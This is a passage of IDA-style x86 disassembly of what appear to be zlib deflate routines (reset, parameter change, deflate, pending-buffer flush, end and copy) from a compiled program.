		mov	ecx, [ebp-4]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp-4]
		mov	[eax+40h], edx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4BE932
; ---------------------------------------------------------------------------


loc_4BE929:				; CODE XREF: .text:004BE9A8j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4BE932:				; CODE XREF: .text:004BE927j
		mov	edx, [ebp-8]
		sub	edx, 3
		cmp	[ebp-10h], edx
		ja	short loc_4BE9AD
		mov	eax, [ebp-4]
		mov	ecx, [ebp-4]
		mov	edx, [eax+40h]
		mov	ecx, [ecx+50h]
		shl	edx, cl
		mov	eax, [ebp-4]
		mov	ecx, [eax+30h]
		mov	eax, [ebp-10h]
		xor	ebx, ebx
		mov	bl, [ecx+eax+2]
		xor	edx, ebx
		mov	ecx, [ebp-4]
		and	edx, [ecx+4Ch]
		mov	eax, [ebp-4]
		mov	[eax+40h], edx
		mov	ecx, [ebp-4]
		mov	edx, [ecx+40h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+3Ch]
		xor	eax, eax
		mov	ax, [ecx+edx*2]
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp-4]
		mov	edx, [ebp-10h]
		and	edx, [ecx+2Ch]
		mov	eax, [ebp-4]
		mov	ecx, [eax+38h]
		mov	ax, [ebp-0Ch]
		mov	[ecx+edx*2], ax
		mov	ecx, [ebp-4]
		mov	edx, [ecx+40h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+3Ch]
		mov	ax, [ebp-10h]
		mov	[ecx+edx*2], ax
		jmp	loc_4BE929
; ---------------------------------------------------------------------------


loc_4BE9AD:				; CODE XREF: .text:004BE93Bj
		cmp	dword ptr [ebp-0Ch], 0
		jz	short loc_4BE9BA
		mov	dword ptr [ebp-0Ch], 0


loc_4BE9BA:				; CODE XREF: .text:004BE9B1j
		xor	eax, eax


loc_4BE9BC:				; CODE XREF: .text:004BE85Bj
					; .text:004BE88Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BE9C1	proc near		; CODE XREF: sub_4BE535+2E0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4BE9E6
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_4BE9E6
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+20h], 0
		jz	short loc_4BE9E6
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_4BE9F0


loc_4BE9E6:				; CODE XREF: sub_4BE9C1+8j
					; sub_4BE9C1+11j ...
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BEA8E
; ---------------------------------------------------------------------------


loc_4BE9F0:				; CODE XREF: sub_4BE9C1+23j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+14h], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+2Ch], 2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 0
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx+10h], eax
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+18h], 0
		jge	short loc_4BEA4A
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0


loc_4BEA4A:				; CODE XREF: sub_4BE9C1+7Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 47h
		add	ecx, 2Ah
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+30h], 1
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+20h], 0
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4C1960
		add	esp, 4
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4BF3A2
		add	esp, 4
		xor	eax, eax


loc_4BEA8E:				; CODE XREF: sub_4BE9C1+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4BE9C1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4BEAAE
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4BEAB8


loc_4BEAAE:				; CODE XREF: .text:004BEAA3j
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BEBAA
; ---------------------------------------------------------------------------


loc_4BEAB8:				; CODE XREF: .text:004BEAACj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+1Ch]
		mov	[ebp-8], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_4BEACE
		mov	dword ptr [ebp+0Ch], 6


loc_4BEACE:				; CODE XREF: .text:004BEAC5j
		cmp	dword ptr [ebp+0Ch], 0
		jl	short loc_4BEAE6
		cmp	dword ptr [ebp+0Ch], 9
		jg	short loc_4BEAE6
		cmp	dword ptr [ebp+10h], 0
		jl	short loc_4BEAE6
		cmp	dword ptr [ebp+10h], 2
		jle	short loc_4BEAF0


loc_4BEAE6:				; CODE XREF: .text:004BEAD2j
					; .text:004BEAD8j ...
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BEBAA
; ---------------------------------------------------------------------------


loc_4BEAF0:				; CODE XREF: .text:004BEAE4j
		mov	eax, [ebp-8]
		mov	ecx, [eax+7Ch]
		imul	ecx, 0Ch
		mov	edx, off_4F1FE8[ecx]
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		imul	eax, 0Ch
		mov	ecx, [ebp-0Ch]
		cmp	ecx, off_4F1FE8[eax]
		jz	short loc_4BEB2D
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+8], 0
		jz	short loc_4BEB2D
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_4BEBAE
		add	esp, 8
		mov	[ebp-4], eax


loc_4BEB2D:				; CODE XREF: .text:004BEB11j
					; .text:004BEB1Aj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+7Ch]
		cmp	edx, [ebp+0Ch]
		jz	short loc_4BEB9B
		mov	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		mov	[eax+7Ch], ecx
		mov	edx, [ebp+0Ch]
		imul	edx, 0Ch
		xor	eax, eax
		mov	ax, word_4F1FE2[edx]
		mov	ecx, [ebp-8]
		mov	[ecx+78h], eax
		mov	edx, [ebp+0Ch]
		imul	edx, 0Ch
		xor	eax, eax
		mov	ax, word_4F1FE0[edx]
		mov	ecx, [ebp-8]
		mov	[ecx+84h], eax
		mov	edx, [ebp+0Ch]
		imul	edx, 0Ch
		xor	eax, eax
		mov	ax, word_4F1FE4[edx]
		mov	ecx, [ebp-8]
		mov	[ecx+88h], eax
		mov	edx, [ebp+0Ch]
		imul	edx, 0Ch
		xor	eax, eax
		mov	ax, word_4F1FE6[edx]
		mov	ecx, [ebp-8]
		mov	[ecx+74h], eax


loc_4BEB9B:				; CODE XREF: .text:004BEB36j
		mov	edx, [ebp-8]
		mov	eax, [ebp+10h]
		mov	[edx+80h], eax
		mov	eax, [ebp-4]


loc_4BEBAA:				; CODE XREF: .text:004BEAB3j
					; .text:004BEAEBj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BEBAE	proc near		; CODE XREF: .text:00490313p
					; .text:004BEB22p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_0], 0
		jz	short loc_4BEBCF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_4BEBCF
		cmp	[ebp+arg_4], 4
		jg	short loc_4BEBCF
		cmp	[ebp+arg_4], 0
		jge	short loc_4BEBD9


loc_4BEBCF:				; CODE XREF: sub_4BEBAE+Aj
					; sub_4BEBAE+13j ...
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEBD9:				; CODE XREF: sub_4BEBAE+1Fj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_4BEC0E
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jnz	short loc_4BEBFC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4BEC0E


loc_4BEBFC:				; CODE XREF: sub_4BEBAE+43j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 29Ah
		jnz	short loc_4BEC24
		cmp	[ebp+arg_4], 4
		jz	short loc_4BEC24


loc_4BEC0E:				; CODE XREF: sub_4BEBAE+3Bj
					; sub_4BEBAE+4Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4EDE78
		mov	[ecx+18h], edx
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEC24:				; CODE XREF: sub_4BEBAE+58j
					; sub_4BEBAE+5Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4BEC43
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4EDE84
		mov	[ecx+18h], edx
		mov	eax, 0FFFFFFFBh
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEC43:				; CODE XREF: sub_4BEBAE+7Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+20h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+20h], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2Ah
		jnz	loc_4BED31
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+28h]
		sub	edx, 8
		shl	edx, 4
		add	edx, 8
		shl	edx, 8
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+7Ch]
		sub	ecx, 1
		sar	ecx, 1
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_10], 3
		jbe	short loc_4BEC9A
		mov	[ebp+var_10], 3


loc_4BEC9A:				; CODE XREF: sub_4BEBAE+E3j
		mov	edx, [ebp+var_10]
		shl	edx, 6
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+64h], 0
		jz	short loc_4BECBA
		mov	edx, [ebp+var_C]
		or	edx, 20h
		mov	[ebp+var_C], edx


loc_4BECBA:				; CODE XREF: sub_4BEBAE+101j
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 1Fh
		div	ecx
		mov	eax, 1Fh
		sub	eax, edx
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 71h
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4BEF30
		add	esp, 8
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+64h], 0
		jz	short loc_4BED27
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		shr	ecx, 10h
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4BEF30
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4BEF30
		add	esp, 8


loc_4BED27:				; CODE XREF: sub_4BEBAE+148j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+30h], 1


loc_4BED31:				; CODE XREF: sub_4BEBAE+B6j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 0
		jz	short loc_4BED62
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4BEF80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4BED60
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+20h], 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BED60:				; CODE XREF: sub_4BEBAE+19Fj
		jmp	short loc_4BED8F
; ---------------------------------------------------------------------------


loc_4BED62:				; CODE XREF: sub_4BEBAE+18Aj
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_4BED8F
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jg	short loc_4BED8F
		cmp	[ebp+arg_4], 4
		jz	short loc_4BED8F
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4EDE84
		mov	[ecx+18h], edx
		mov	eax, 0FFFFFFFBh
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BED8F:				; CODE XREF: sub_4BEBAE:loc_4BED60j
					; sub_4BEBAE+1BBj ...
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 29Ah
		jnz	short loc_4BEDB9
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_4BEDB9
		mov	edx, [ebp+arg_0]
		mov	eax, off_4EDE84
		mov	[edx+18h], eax
		mov	eax, 0FFFFFFFBh
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEDB9:				; CODE XREF: sub_4BEBAE+1EBj
					; sub_4BEBAE+1F4j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4BEDE5
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+6Ch], 0
		jnz	short loc_4BEDE5
		cmp	[ebp+arg_4], 0
		jz	loc_4BEEC2
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 29Ah
		jz	loc_4BEEC2


loc_4BEDE5:				; CODE XREF: sub_4BEBAE+212j
					; sub_4BEBAE+21Bj
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+7Ch]
		imul	ecx, 0Ch
		call	off_4F1FE8[ecx]
		add	esp, 8
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 2
		jz	short loc_4BEE0E
		cmp	[ebp+var_14], 3
		jnz	short loc_4BEE18


loc_4BEE0E:				; CODE XREF: sub_4BEBAE+258j
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 29Ah


loc_4BEE18:				; CODE XREF: sub_4BEBAE+25Ej
		cmp	[ebp+var_14], 0
		jz	short loc_4BEE24
		cmp	[ebp+var_14], 2
		jnz	short loc_4BEE3E


loc_4BEE24:				; CODE XREF: sub_4BEBAE+26Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_4BEE37
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+20h], 0FFFFFFFFh


loc_4BEE37:				; CODE XREF: sub_4BEBAE+27Dj
		xor	eax, eax
		jmp	loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEE3E:				; CODE XREF: sub_4BEBAE+274j
		cmp	[ebp+var_14], 1
		jnz	short loc_4BEEC2
		cmp	[ebp+arg_4], 1
		jnz	short loc_4BEE58
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4C1C03
		add	esp, 4
		jmp	short loc_4BEE9F
; ---------------------------------------------------------------------------


loc_4BEE58:				; CODE XREF: sub_4BEBAE+29Aj
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4C1AC4
		add	esp, 10h
		cmp	[ebp+arg_4], 3
		jnz	short loc_4BEE9F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+44h]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+3Ch]
		mov	word ptr [ecx+edx*2-2],	0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+44h]
		lea	ecx, [eax+eax-2]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+var_4]
		mov	eax, [edx+3Ch]
		push	eax		; Dst
		call	_memset_0
		add	esp, 0Ch


loc_4BEE9F:				; CODE XREF: sub_4BEBAE+2A8j
					; sub_4BEBAE+2C0j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4BEF80
		add	esp, 4
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_4BEEC2
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+20h], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEEC2:				; CODE XREF: sub_4BEBAE+221j
					; sub_4BEBAE+231j ...
		cmp	[ebp+arg_4], 4
		jz	short loc_4BEECC
		xor	eax, eax
		jmp	short loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEECC:				; CODE XREF: sub_4BEBAE+318j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+18h], 0
		jz	short loc_4BEEDC
		mov	eax, 1
		jmp	short loc_4BEF2C
; ---------------------------------------------------------------------------


loc_4BEEDC:				; CODE XREF: sub_4BEBAE+325j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		shr	eax, 10h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4BEF30
		add	esp, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4BEF30
		add	esp, 8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4BEF80
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [ecx+14h], 0
		setz	al


loc_4BEF2C:				; CODE XREF: sub_4BEBAE+26j
					; sub_4BEBAE+71j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4BEBAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BEF30	proc near		; CODE XREF: sub_4BEBAE+139p
					; sub_4BEBAE+158p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		shr	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	[edx+ecx], al
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		pop	ebp
		retn
sub_4BEF30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BEF80	proc near		; CODE XREF: sub_4BEBAE+190p
					; sub_4BEBAE+2F5p ...

Size		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+14h]
		mov	[ebp+Size], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+Size]
		cmp	ecx, [eax+10h]
		jbe	short loc_4BEFA4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+Size], eax


loc_4BEFA4:				; CODE XREF: sub_4BEF80+19j
		cmp	[ebp+Size], 0
		jnz	short loc_4BEFAF
		jmp	loc_4BF041
; ---------------------------------------------------------------------------


loc_4BEFAF:				; CODE XREF: sub_4BEF80+28j
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+10h]
		push	ecx		; Src
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		push	eax		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		add	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+10h]
		add	eax, [ebp+Size]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+Size]
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		sub	ecx, [ebp+Size]
		mov	edx, [ebp+arg_0]
		mov	[edx+10h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+14h]
		sub	edx, [ebp+Size]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ecx+14h], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_4BF041
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [edx+8]
		mov	[ecx+10h], edx


loc_4BF041:				; CODE XREF: sub_4BEF80+2Aj
					; sub_4BEF80+ADj
		mov	esp, ebp
		pop	ebp
		retn
sub_4BEF80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BF045	proc near		; CODE XREF: .text:0049033Fp
					; sub_4BE535+278p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4BF058
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4BF062


loc_4BF058:				; CODE XREF: sub_4BF045+8j
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BF152
; ---------------------------------------------------------------------------


loc_4BF062:				; CODE XREF: sub_4BF045+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2Ah
		jz	short loc_4BF08D
		cmp	[ebp+var_4], 71h
		jz	short loc_4BF08D
		cmp	[ebp+var_4], 29Ah
		jz	short loc_4BF08D
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BF152
; ---------------------------------------------------------------------------


loc_4BF08D:				; CODE XREF: sub_4BF045+2Dj
					; sub_4BF045+33j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	dword ptr [edx+8], 0
		jz	short loc_4BF0B3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+24h]
		add	esp, 8


loc_4BF0B3:				; CODE XREF: sub_4BF045+52j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	dword ptr [ecx+3Ch], 0
		jz	short loc_4BF0D9
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	ecx, [eax+3Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+24h]
		add	esp, 8


loc_4BF0D9:				; CODE XREF: sub_4BF045+78j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	dword ptr [eax+38h], 0
		jz	short loc_4BF0FF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+38h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_0]
		call	dword ptr [eax+24h]
		add	esp, 8


loc_4BF0FF:				; CODE XREF: sub_4BF045+9Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	dword ptr [edx+30h], 0
		jz	short loc_4BF125
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+30h]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+24h]
		add	esp, 8


loc_4BF125:				; CODE XREF: sub_4BF045+C4j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+24h]
		add	esp, 8
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 0
		xor	eax, eax
		cmp	[ebp+var_4], 71h
		setnz	al
		dec	eax
		and	al, 0FDh


loc_4BF152:				; CODE XREF: sub_4BF045+18j
					; sub_4BF045+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_4BF045	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_4BF173
		cmp	dword ptr [ebp+8], 0
		jz	short loc_4BF173
		mov	eax, [ebp+0Ch]
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4BF17D


loc_4BF173:				; CODE XREF: .text:004BF162j
					; .text:004BF168j
		mov	eax, 0FFFFFFFEh
		jmp	loc_4BF39C
; ---------------------------------------------------------------------------


loc_4BF17D:				; CODE XREF: .text:004BF171j
		mov	ecx, [ebp+0Ch]
		mov	edx, [ecx+1Ch]
		mov	[ebp-8], edx
		mov	esi, [ebp+0Ch]
		mov	ecx, 0Eh
		mov	edi, [ebp+8]
		rep movsd
		push	16B8h
		push	1
		mov	eax, [ebp+8]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+8]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_4BF1BD
		mov	eax, 0FFFFFFFCh
		jmp	loc_4BF39C
; ---------------------------------------------------------------------------


loc_4BF1BD:				; CODE XREF: .text:004BF1B1j
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		mov	[eax+1Ch], ecx
		mov	edi, [ebp-0Ch]
		mov	esi, [ebp-8]
		mov	ecx, 5AEh
		rep movsd
		mov	edx, [ebp-0Ch]
		mov	eax, [ebp+8]
		mov	[edx], eax
		push	2
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+24h]
		push	edx
		mov	eax, [ebp+8]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+8]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	ecx, [ebp-0Ch]
		mov	[ecx+30h], eax
		push	2
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+24h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+8]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		mov	ecx, [ebp-0Ch]
		mov	[ecx+38h], eax
		push	2
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+44h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+8]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		mov	ecx, [ebp-0Ch]
		mov	[ecx+3Ch], eax
		push	4
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+1694h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+8]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		mov	[ebp-4], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp-4]
		mov	[ecx+8], edx
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_4BF284
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_4BF284
		mov	edx, [ebp-0Ch]
		cmp	dword ptr [edx+3Ch], 0
		jz	short loc_4BF284
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4BF29A


loc_4BF284:				; CODE XREF: .text:004BF267j
					; .text:004BF270j ...
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4BF045
		add	esp, 4
